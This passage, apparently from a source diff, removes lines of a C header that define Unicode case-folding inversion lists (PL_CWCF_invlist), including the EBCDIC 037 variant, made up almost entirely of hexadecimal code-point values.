0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x345, - 0x346, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3C2, - 0x3C3, - 0x3CF, - 0x3D2, - 0x3D5, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F2, - 0x3F4, - 0x3F6, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x587, - 0x588, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9A, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F80, - 0x1FB0, - 0x1FB2, - 0x1FB5, - 0x1FB7, - 0x1FBD, - 0x1FC2, - 0x1FC5, - 0x1FC7, - 0x1FCD, - 0x1FD8, - 0x1FDC, - 0x1FE8, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF7, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1E900, - 0x1E922 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CWCF_invlist[] = { /* for EBCDIC 037 */ - 1223, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x59, - 0x5A, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x80, - 0x81, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x345, - 0x346, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3C2, - 0x3C3, - 0x3CF, - 0x3D2, - 0x3D5, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F2, - 0x3F4, - 0x3F6, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x587, - 0x588, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9A, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 